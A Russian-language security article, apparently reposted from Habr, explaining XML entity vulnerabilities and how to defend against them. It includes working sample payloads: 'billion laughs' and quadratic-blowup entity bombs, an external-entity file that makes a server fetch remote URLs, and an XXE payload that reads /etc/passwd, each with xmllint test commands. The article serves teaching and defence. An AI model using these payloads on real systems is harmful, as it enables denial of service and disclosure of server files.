- PVSM.RU - https://www.pvsm.ru -
В рассылке oss-security было опубликовано [1] обсуждение [2] различных [3] уязвимостей [4], связанных с разбором XML. Уязвимостям подвержены приложения, которые разрешают библиотекам обрабатывать именованные и внешние сущности в DTD, встроенном в XML-документ, полученный из недоверенного источника. Т.е. по сути — приложения, не изменяющие настроек парсера по умолчанию.
Примеры XML-бомб под катом. Если у вас есть приложения, обрабатывающие XML, вы можете самостоятельно проверить их на предмет наличия уязвимостей. Проверка бомб в этом посте производится на примере утилиты xmllint, входящей в комплект поставки библиотеки libxml2, но можно использовать и другие синтаксические анализаторы.
Стандарт XML [5] разрешает XML-документам использовать DTD для определения допустимых конструкций из вложенных тегов и атрибутов. DTD может быть либо представлен в виде ссылки на внешний источник, либо полностью определяться внутри самого документа. Пример документа со встроенным DTD:
<!DOCTYPE greeting [
<!ELEMENT greeting (#PCDATA)>
]>
<greeting>Hello, world!</greeting>
В DTD, помимо элементов и атрибутов, можно определять сущности. Пример документа, использующего именованные сущности:
<!DOCTYPE greeting [
<!ENTITY target "world">
<!ELEMENT greeting (#PCDATA)>
]>
<greeting>Hello, ⌖!</greeting>
Проверить этот документ на валидность и раскрыть сущности можно так:
$ xmllint --noent --valid hello.xml
Именованные сущности могут раскрываться не только в символьные строки, но и в последовательности других сущностей. Рекурсия запрещена стандартом [6], но ограничений на допустимую глубину вложенности нет. Это позволяет добиться компактного представления очень длинных текстовых строк (аналогично тому, как это делают архиваторы) и составляет основу атаки «billion laughs», известной с 2003 года [7].
<!DOCTYPE bomb [
<!ENTITY a "1234567890" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
<!ELEMENT bomb (#PCDATA)>
]>
<bomb>&d;</bomb>
Современные XML-парсеры содержат защиту от такой атаки. Например, libxml2 по умолчанию отказывается разбирать этот документ, несмотря на его строгое соответствие стандарту:
$ xmllint --noent --valid bomb1.xml
Entity: line 1: parser error : Detected an entity reference loop
&c;&c;&c;&c;&c;&c;&c;&c;
^
bomb1.xml:8: parser error : Detected an entity reference loop
<bomb>&d;</bomb>
^
Чтобы таки увидеть, насколько он раздувается при раскрытии сущностей, надо явно отключить защиту от этой атаки:
$ xmllint --noent --valid --huge bomb1.xml | wc -c
5344
Очевидно, добавление новой сущности по аналогии с уже приведенными раздувает выходной поток примерно во столько раз, сколько ссылок на предыдущую сущность содержится в добавляемой. Входной документ при этом увеличивается на количество байт, пропорциональное этому количеству ссылок. Т.е. имеет место экспоненциальная зависимость между размерами входного XML-документа и выходного потока символов.
Маленький XML-документ может вызвать непропорционально большое потребление ресурсов (таких как ОЗУ и время процессора) для задачи его разбора до тегов и символьных строк. Перед нами типичная DoS-атака, основанная на существенном различии сложности используемого алгоритма в типичном и худшем случае.
Как мы уже видели, некоторые библиотеки для борьбы с атакой «billion laughs» вводят жесткое искусственное ограничение на глубину дерева именованных сущностей. Такое ограничение действительно позволяет предотвратить экспоненциальную зависимость между объемом входного XML-файла и выходного потока символов. Однако, для взломщика, стремящегося израсходовать все ресурсы сервера сравнительно небольшим XML-документом, наличие экспоненциальной зависимости между этими величинами не нужно. Квадратичная зависимость вполне сойдет, а для нее достаточно одного уровня именованных сущностей. Будем просто повторять одну длинную сущность много раз:
<!DOCTYPE bomb [
<!ENTITY x "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...x" >
<!ELEMENT bomb (#PCDATA)>
]>
<bomb>&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;...&x;</bomb>
$ xmllint --huge --noent --valid bomb2.xml | wc -c
1868
Опция --huge добавлена на случай, ваша версия libxml2 посчитает, что приведенный пример является атакой. Этому ее научили этим коммитом [8], т.е. на момент публикации поста соответствующее изменение не успело попасть в релиз.
Стандарт XML содержит возможность получать значения сущностей не только из готовых строк, но и путем обращения к внешним ресурсам, например, по протоколу HTTP. Это открывает для атакующего, имеющего доступ к парсеру XML на сервере-зомби, возможность сканировать порты и даже организовывать DoS-атаки на другие сервера, скрывая свой IP-адрес. Вот этот XML-файл при попытке его разобрать парсером, поддерживающим внешние сущности, создаст три запроса к RSS-потокам Хабра:
<!DOCTYPE bomb [
<!ENTITY a1 SYSTEM "http://habrahabr.ru/rss/best/" >
<!ENTITY a2 SYSTEM "http://habrahabr.ru/rss/hubs/" >
<!ENTITY a3 SYSTEM "http://habrahabr.ru/rss/qa/" >
<!ELEMENT author ANY>
<!ELEMENT blockquote ANY>
<!ELEMENT category ANY>
<!ELEMENT channel ANY>
<!ELEMENT code ANY>
<!ELEMENT description ANY>
<!ELEMENT generator ANY>
<!ELEMENT guid ANY>
<!ATTLIST guid isPermaLink CDATA #IMPLIED>
<!ELEMENT h3 ANY>
<!ELEMENT i ANY>
<!ELEMENT image ANY>
<!ELEMENT item ANY>
<!ELEMENT language ANY>
<!ELEMENT lastBuildDate ANY>
<!ELEMENT link ANY>
<!ELEMENT managingEditor ANY>
<!ELEMENT pre ANY>
<!ELEMENT pubDate ANY>
<!ELEMENT rss ANY>
<!ATTLIST rss version CDATA #IMPLIED>
<!ELEMENT title ANY>
<!ELEMENT url ANY>
<!ELEMENT bomb ANY>
]>
<bomb>&a1;&a2;&a3;</bomb>
$ xmllint --noent --noout --load-trace bomb3.xml
В примере выше можно запретить парсеру читать сущности из сети путем передачи ключа --nonet.
Тем же способом можно заставить уязвимое приложение читать локальные файлы с секретной информацией вроде пароля для базы данных. К сожалению, здесь --nonet не помогает:
<!DOCTYPE bomb [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >
<!ELEMENT bomb (#PCDATA)>
]>
<bomb>&passwd;</bomb>
$ xmllint --noent --nonet --valid bomb4.xml
Подобный тип атак называется XXE (от XML eXternal Entity). Один из недавних примеров — уязвимость в PostgreSQL, CVE-2012-3489 [9].
Теперь поговорим о предотвращении таких атак.
Само собой, необходимо использовать версии библиотек, в которых приняты контрмеры против этих и других уязвимостей. Необходимо явно ограничивать ресурсы, затраченные на разбор XML-документа. Например, для libxml2 это можно сделать, вызвав xmlMemSetup() и передав свои собственные функции управления памятью, которые просто не дадут выделить слишком много. Необходимо также ограничить доступ к внешним ресурсам, например, путем написания собственного загрузчика сущностей [10].
Есть, однако, мнение [11], что все меры, перечисленные выше, нацелены на симптомы, а не на суть перечисленных уязвимостей. Действительно, откуда вообще в вашем приложении взялась задача разбора XML-документа согласно DTD, упоминающемуся (или содержащемуся) в нем самом? Не будет ли более правильной задача разбора этого XML-документа согласно правилам вашего приложения? Ведь вы же проверяете валидность данных в HTML-форме согласно регулярным выражениям, находящимся в коде ее обработчика, а не пришедшим вместе с данными формы. Соответственно, вам хватит не использующего DTD (а значит, невалидирующего) XML-парсера, в который заранее загружены нужные сущности.
Автор: AEP
Источник [12]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/uyazvimost/27838
Ссылки в тексте:
[1] опубликовано: http://seclists.org/oss-sec/2013/q1/338
[2] обсуждение: http://seclists.org/oss-sec/2013/q1/352
[3] различных: http://seclists.org/oss-sec/2013/q1/385
[4] уязвимостей: http://seclists.org/oss-sec/2013/q1/391
[5] Стандарт XML: http://www.w3.org/TR/xml/
[6] запрещена стандартом: http://www.w3.org/TR/xml/#norecursion
[7] с 2003 года: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1564
[8] этим коммитом: http://git.gnome.org/browse/libxml2/commit/?id=23f05e0c33987d6605387b300c4be5da2120a7ab
[9] CVE-2012-3489: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3489
[10] написания собственного загрузчика сущностей: http://git.postgresql.org/gitweb/?p=postgresql.git;a=commitdiff;h=a4b0c0aaf093a015bebe83a24c183e10a66c8c39
[11] мнение: http://seclists.org/oss-sec/2013/q1/355
[12] Источник: http://habrahabr.ru/post/170333/
Нажмите здесь для печати.